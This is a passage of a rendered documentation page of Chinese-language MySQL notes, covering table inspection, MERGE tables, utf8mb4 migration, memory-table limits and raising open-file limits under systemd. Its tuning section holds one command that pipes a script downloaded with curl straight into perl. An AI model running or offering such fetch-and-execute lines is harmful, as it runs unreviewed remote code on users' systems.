href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    查看表结构\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"查看表结构\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#sql\" class=\"md-nav__link\">\n    查看建表sql语句\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#merge\" class=\"md-nav__link\">\n    MERGE存储引擎\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#merge_1\" class=\"md-nav__link\">\n    创建一个MERGE表：\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    删除表的冗余\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#alter-table\" class=\"md-nav__link\">\n    修改表 alter table\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    将中文转为拼音 函数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#url\" class=\"md-nav__link\">\n    从路径URL获取文件名称\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    查询优化\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"查询优化\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#explainusing-filesort\" class=\"md-nav__link\">\n    explain发现出现了using filesort\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    内存表索引的选择\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#the-table-is-full\" class=\"md-nav__link\">\n    内存表The table is full\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#replace\" class=\"md-nav__link\">\n    replace函数替换文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#split\" class=\"md-nav__link\">\n    简单的split功能，文本转数字\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysqld\" class=\"md-nav__link\">\n    mysqld配置参数调优\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#emojiutf8utf8mb4\" class=\"md-nav__link\">\n    支持emoji，从utf8升级到utf8mb4\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"支持emoji，从utf8升级到utf8mb4\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#charvarchartextutf8mb4\" class=\"md-nav__link\">\n    表的变更 表的每一个CHAR，VARCHAR和TEXT类型的列都要改为使用utf8mb4\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    连接代码的改动\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#too-many-open-files\" class=\"md-nav__link\">\n    解决 Too many open files 错误\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu1604mysqlapt-upgrade\" class=\"md-nav__link\">\n    解决ubuntu16.04上mysql被apt upgrade自动关闭的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#null0\" class=\"md-nav__link\">\n    NULL转0\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysqlslave\" class=\"md-nav__link\">\n    给MySQL增加一个slave做主从复制\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"给MySQL增加一个slave做主从复制\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#master\" class=\"md-nav__link\">\n    master创建用户\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#masterbinlog\" class=\"md-nav__link\">\n    master启用binlog\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    搬运数据库\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#slave\" class=\"md-nav__link\">\n    配置slave\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker镜像\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    为什么MySQL表必须要有主键\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>MySQL</h1>\n\n<h2 id=\"_1\">查看表结构<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>desc 表名称;</p>\n<h3 id=\"sql\">查看建表sql语句<a class=\"headerlink\" href=\"#sql\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">show</span><span class=\"w\"> </span><span class=\"nv\">create</span><span class=\"w\"> </span><span class=\"nv\">table</span><span class=\"w\"> </span>表名称<span class=\"c1\">;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"merge\">MERGE存储引擎<a class=\"headerlink\" href=\"#merge\" title=\"Permanent link\">&para;</a></h2>\n<p>官方文档：http://dev.mysql.com/doc/refman/5.7/en/merge-storage-engine.html</p>\n<p>查看能用的引擎：<strong>show engines</strong></p>\n<h2 id=\"merge_1\">创建一个MERGE表：<a class=\"headerlink\" href=\"#merge_1\" title=\"Permanent link\">&para;</a></h2>\n<p>假设有a,b表，他们的结构完全相同，然后就可以建立一个c表，注意这个表的定义要与a和b表完全一致</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">drop</span><span class=\"w\"> </span><span class=\"k\">table</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"k\">exists</span><span class=\"w\"> </span><span class=\"k\">data</span><span class=\"p\">;</span>\n<span class=\"k\">CREATE</span><span class=\"w\"> </span><span class=\"k\">TABLE</span><span class=\"w\"> </span><span class=\"k\">c</span><span class=\"w\"> </span><span class=\"p\">(</span>\n<span class=\"w\">   </span><span class=\"o\">`</span><span class=\"n\">id</span><span class=\"o\">`</span><span class=\"w\"> </span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"mi\">11</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"p\">,</span>\n<span class=\"w\">  </span><span class=\"o\">`</span><span class=\"k\">data</span><span class=\"o\">`</span><span class=\"w\"> </span><span class=\"n\">longtext</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"p\">,</span>\n<span class=\"w\">  </span><span class=\"k\">PRIMARY</span><span class=\"w\"> </span><span class=\"k\">KEY</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">`</span><span class=\"n\">id</span><span class=\"o\">`</span><span class=\"p\">)</span>\n<span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">ENGINE</span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">MRG_MYISAM</span><span class=\"w\"> </span><span class=\"p\">,</span><span class=\"k\">UNION</span><span class=\"o\">=</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"n\">b</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<p>特点：</p>\n<p>这种表不会创建额外的索引，但查询起来比视图速度更快；</p>\n<p>不能在这种表上建立全文索引</p>\n<hr />\n<h2 id=\"_2\">删除表的冗余<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>两行只有一列(这里假设为 gettime )不同，删除其中一行</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">delete</span><span class=\"w\"> </span><span class=\"n\">t1</span><span class=\"w\"> </span><span class=\"k\">from</span><span class=\"w\"> </span><span class=\"n\">t</span><span class=\"w\"> </span><span class=\"k\">as</span><span class=\"w\"> </span><span class=\"n\">t1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">t</span><span class=\"w\"> </span><span class=\"k\">as</span><span class=\"w\"> </span><span class=\"n\">t2</span><span class=\"w\"> </span><span class=\"k\">where</span>\n<span class=\"w\">    </span><span class=\"n\">t1</span><span class=\"p\">.</span><span class=\"n\">id</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">t2</span><span class=\"p\">.</span><span class=\"n\">id</span><span class=\"w\"> </span><span class=\"k\">and</span>\n<span class=\"w\">    </span><span class=\"n\">t1</span><span class=\"p\">.</span><span class=\"err\">其他列</span><span class=\"o\">=</span><span class=\"n\">t2</span><span class=\"p\">.</span><span class=\"err\">其他列</span><span class=\"w\"> </span><span class=\"k\">and</span>\n<span class=\"w\">    </span><span class=\"n\">t1</span><span class=\"p\">.</span><span class=\"n\">gettime</span><span class=\"o\">&gt;</span><span class=\"n\">t2</span><span class=\"p\">.</span><span class=\"n\">gettime</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"alter-table\">修改表 alter table<a class=\"headerlink\" href=\"#alter-table\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">ALTER</span><span class=\"w\"> </span><span class=\"k\">IGNORE</span><span class=\"w\"> </span><span class=\"k\">TABLE</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"err\">表名称</span><span class=\"o\">`</span>\n<span class=\"k\">MODIFY</span><span class=\"w\"> </span><span class=\"k\">COLUMN</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">id</span><span class=\"o\">`</span><span class=\"w\">  </span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"mi\">11</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"w\"> </span><span class=\"k\">FIRST</span><span class=\"p\">,</span>\n<span class=\"k\">MODIFY</span><span class=\"w\"> </span><span class=\"k\">COLUMN</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"k\">user</span><span class=\"o\">`</span><span class=\"w\"> </span><span class=\"nb\">varchar</span><span class=\"p\">(</span><span class=\"mi\">66</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"w\"> </span><span class=\"k\">AFTER</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">id</span><span class=\"o\">`</span><span class=\"p\">,</span>\n<span class=\"k\">MODIFY</span><span class=\"w\"> </span><span class=\"k\">COLUMN</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">content</span><span class=\"o\">`</span><span class=\"w\"> </span><span class=\"n\">longtext</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"w\"> </span><span class=\"k\">AFTER</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"k\">user</span><span class=\"o\">`</span><span class=\"p\">,</span>\n<span class=\"k\">DROP</span><span class=\"w\"> </span><span class=\"k\">PRIMARY</span><span class=\"w\"> </span><span class=\"k\">KEY</span><span class=\"p\">,</span>\n<span class=\"k\">ADD</span><span class=\"w\"> </span><span class=\"k\">PRIMARY</span><span class=\"w\"> </span><span class=\"k\">KEY</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">`</span><span class=\"n\">id</span><span class=\"o\">`</span><span class=\"p\">),</span>\n<span class=\"k\">DROP</span><span class=\"w\"> </span><span class=\"k\">INDEX</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">a1</span><span class=\"o\">`</span><span class=\"p\">,</span>\n<span class=\"k\">ADD</span><span class=\"w\"> </span><span class=\"k\">INDEX</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">a1</span><span class=\"o\">`</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">`</span><span class=\"k\">user</span><span class=\"o\">`</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_3\">将中文转为拼音 函数<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>代码在<a href=\"../code/pinyin.sql\">code/pinyin.sql</a></p>\n<hr />\n<h2 id=\"url\">从路径URL获取文件名称<a class=\"headerlink\" href=\"#url\" title=\"Permanent link\">&para;</a></h2>\n<p>来源 http://stackoverflow.com/questions/17090237/extracting-filenames-from-a-path-mysql</p>\n<p>使用SUBSTRING_INDEX函数，假设url此行的内容为&rdquo;http://example.com/some/path/to/filename.zip&rdquo;</p>\n<div class=\"codehilite\"><pre><span></span><code>select SUBSTRING_INDEX(url, &#39;/&#39;, -1) as filename;\n</code></pre></div>\n\n<p>即可得到一列filename，此行数据为&rdquo;filename.zip&rdquo;</p>\n<hr />\n<h2 id=\"_4\">查询优化<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"explainusing-filesort\">explain发现出现了using filesort<a class=\"headerlink\" href=\"#explainusing-filesort\" title=\"Permanent link\">&para;</a></h3>\n<blockquote>\n<p>参考 http://www.ccvita.com/169.html</p>\n</blockquote>\n<p>如果使用了order by或者group by，需要建索引以优化这个查询</p>\n<p>group by用了两个列，两列要合在一起创建索引</p>\n<h3 id=\"_5\">内存表索引的选择<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<blockquote>\n<p>参考 https://dev.mysql.com/doc/refman/5.5/en/optimizing-memory-tables.html</p>\n</blockquote>\n<p>内存表的索引应该选择BTREE</p>\n<hr />\n<h2 id=\"the-table-is-full\">内存表The table is full<a class=\"headerlink\" href=\"#the-table-is-full\" title=\"Permanent link\">&para;</a></h2>\n<p>修改MySQL的配置文件/etc/mysql/my.cnf，在[mysqld]下添加/修改两行(下面的值仅供参考,请根据实际情况酌情处理)： </p>\n<div class=\"codehilite\"><pre><span></span><code>tmp_table_size = 256M // 临时表大小 \nmax_heap_table_size = 256M // 内存表大小 \n</code></pre></div>\n\n<hr />\n<h2 id=\"replace\">replace函数替换文本<a class=\"headerlink\" href=\"#replace\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">update</span><span class=\"w\"> </span><span class=\"n n-Quoted\">`content`</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"w\"> </span><span class=\"k\">value</span><span class=\"o\">=</span><span class=\"k\">replace</span><span class=\"p\">(</span><span class=\"k\">value</span><span class=\"p\">,</span><span class=\"s2\">&quot;original content&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;replaced content&quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<p>注意replace不要反引号</p>\n<hr />\n<h2 id=\"split\">简单的split功能，文本转数字<a class=\"headerlink\" href=\"#split\" title=\"Permanent link\">&para;</a></h2>\n<p>表的设计违背了一列只存放一种数据的原则，搞出了这样一个Text类型的列(假设为info)，格式为&rdquo;用户名: 数值&rdquo;</p>\n<p>现在需要将数值从这一列中提取出来，并转为int类型</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">convert</span><span class=\"w\"> </span><span class=\"p\">(</span>\n<span class=\"w\">    </span><span class=\"nf\">substr</span><span class=\"p\">(</span>\n<span class=\"w\">        </span><span class=\"n n-Quoted\">`info`</span><span class=\"p\">,</span>\n<span class=\"w\">        </span><span class=\"nf\">locate</span><span class=\"p\">(</span><span class=\"s1\">&#39;:&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n n-Quoted\">`info`</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"mi\">2</span>\n<span class=\"w\">    </span><span class=\"p\">),</span>\n<span class=\"w\">    </span><span class=\"k\">unsigned</span><span class=\"w\"> </span><span class=\"kt\">integer</span>\n<span class=\"p\">)</span>\n</code></pre></div>\n\n<p>Google关键词：<code>mysql split string</code>,<code>mysql string to int</code></p>\n<p>参考：</p>\n<p>https://stackoverflow.com/questions/14950466/how-to-split-the-name-string-in-mysql</p>\n<p>https://stackoverflow.com/questions/5960620/convert-text-into-number-in-mysql-query</p>\n<hr />\n<h2 id=\"mysqld\">mysqld配置参数调优<a class=\"headerlink\" href=\"#mysqld\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>参考：<a href=\"https://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner\">https://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner</a></p>\n</blockquote>\n<p>使用MySQLTuner这个工具得到一些建议：</p>\n<div class=\"codehilite\"><pre><span></span><code>curl -L http://mysqltuner.pl/ | perl\n</code></pre></div>\n\n<p>对于其最后给出的参数建议照做即可。</p>\n<p><code>key_buffer</code>参数是最关键的参数，决定了mysql占用的内存大小</p>\n<hr />\n<h2 id=\"emojiutf8utf8mb4\">支持emoji，从utf8升级到utf8mb4<a class=\"headerlink\" href=\"#emojiutf8utf8mb4\" title=\"Permanent link\">&para;</a></h2>\n<p>为了让mysql存储<a href=\"http://getemoji.com/\">emoji表情</a>，需要进行表的变更操作 以及 连接代码的修改</p>\n<p>参考<a href=\"https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python\">https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python</a></p>\n<h4 id=\"charvarchartextutf8mb4\">表的变更 表的每一个<code>CHAR</code>，<code>VARCHAR</code>和<code>TEXT</code>类型的列都要改为使用utf8mb4<a class=\"headerlink\" href=\"#charvarchartextutf8mb4\" title=\"Permanent link\">&para;</a></h4>\n<p>举个例子，表名称{tablename}，修改其<code>user</code>列和<code>content</code>列，以及表的默认字符集：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">ALTER</span><span class=\"w\"> </span><span class=\"k\">TABLE</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"err\">{</span><span class=\"n\">tablename</span><span class=\"err\">}</span><span class=\"o\">`</span>\n<span class=\"k\">MODIFY</span><span class=\"w\"> </span><span class=\"k\">COLUMN</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"k\">user</span><span class=\"o\">`</span><span class=\"w\">  </span><span class=\"nb\">varchar</span><span class=\"p\">(</span><span class=\"mi\">66</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"nb\">CHARACTER</span><span class=\"w\"> </span><span class=\"k\">SET</span><span class=\"w\"> </span><span class=\"n\">utf8mb4</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"w\"> </span><span class=\"k\">AFTER</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">edittime</span><span class=\"o\">`</span><span class=\"p\">,</span>\n<span class=\"k\">MODIFY</span><span class=\"w\"> </span><span class=\"k\">COLUMN</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"n\">content</span><span class=\"o\">`</span><span class=\"w\">  </span><span class=\"n\">longtext</span><span class=\"w\"> </span><span class=\"nb\">CHARACTER</span><span class=\"w\"> </span><span class=\"k\">SET</span><span class=\"w\"> </span><span class=\"n\">utf8mb4</span><span class=\"w\"> </span><span class=\"k\">NOT</span><span class=\"w\"> </span><span class=\"k\">NULL</span><span class=\"w\"> </span><span class=\"k\">AFTER</span><span class=\"w\"> </span><span class=\"o\">`</span><span class=\"k\">user</span><span class=\"o\">`</span><span class=\"p\">,</span>\n<span class=\"k\">DEFAULT</span><span class=\"w\"> </span><span class=\"nb\">CHARACTER</span><span class=\"w\"> </span><span class=\"k\">SET</span><span class=\"o\">=</span><span class=\"n\">utf8mb4</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<h4 id=\"_6\">连接代码的改动<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h4>\n<p>在执行 insert 的 sql语句之前，先执行这三条sql:</p>\n<div class=\"codehilite\"><pre><span></span><code>SET NAMES utf8mb4;\nSET CHARACTER SET utf8mb4; \nSET character_set_connection=utf8mb4;\n</code></pre></div>\n\n<hr />\n<h2 id=\"too-many-open-files\">解决 Too many open files 错误<a class=\"headerlink\" href=\"#too-many-open-files\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>参考：https://duntuk.com/how-raise-ulimit-open-files-and-mysql-openfileslimit</p>\n<p>https://stackoverflow.com/questions/22495124/cannot-set-limit-of-mysql-open-files-limit-from-1024-to-65535/35515570</p>\n</blockquote>\n<p>系统环境： ubuntu16.04，用apt install mysql-server安装的mysql</p>\n<p>这个问题的原因是mysql默认的open_files_limit是1024，在mysql打开1024个文件后就无法再打开新文件，需要修改这个limit，如改为1024000</p>\n<p>修改<code>/etc/mysql/mysql.conf.d/mysqld.cnf</code>，在[mysqld_safe]和[mysqld]都加入一行：</p>\n<div class=\"codehilite\"><pre><span></span><code>open_files_limit = 1024000\n</code></pre></div>\n\n<p>在<code>/etc/security/limits.conf</code>中加入：</p>\n<div class=\"codehilite\"><pre><span></span><code>* soft nofile 1024000\n* hard nofile 1024000\n* soft nproc 10240\n* hard nproc 10240\n</code></pre></div>\n\n<p>上述还不够，由于mysql服务被systemd管理，还要修改<code>/lib/systemd/system/mysql.service</code>，在最后加入</p>\n<div class=\"codehilite\"><pre><span></span><code>LimitNOFILE = infinity\nLimitMEMLOCK = infinity\n</code></pre></div>\n\n<p>在ubuntu16.04上，这些还不够，还要继续改systemd:\n（参考：https://serverfault.com/questions/791729/ubuntu-16-04-server-mysql-open-file-limit-wont-go-higher-than-65536）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">systemd</span><span class=\"o\">/</span><span class=\"k\">system</span><span class=\"o\">/</span><span class=\"n\">mysql</span><span class=\"p\">.</span><span class=\"n\">service</span><span class=\"p\">.</span><span class=\"n\">d</span>\n<span class=\"n\">tee</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">systemd</span><span class=\"o\">/</span><span class=\"k\">system</span><span class=\"o\">/</span><span class=\"n\">mysql</span><span class=\"p\">.</span><span class=\"n\">service</span><span class=\"p\">.</span><span class=\"n\">d</span><span class=\"o\">/</span><span class=\"n\">override</span><span class=\"p\">.</span><span class=\"n\">conf</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;-</span><span 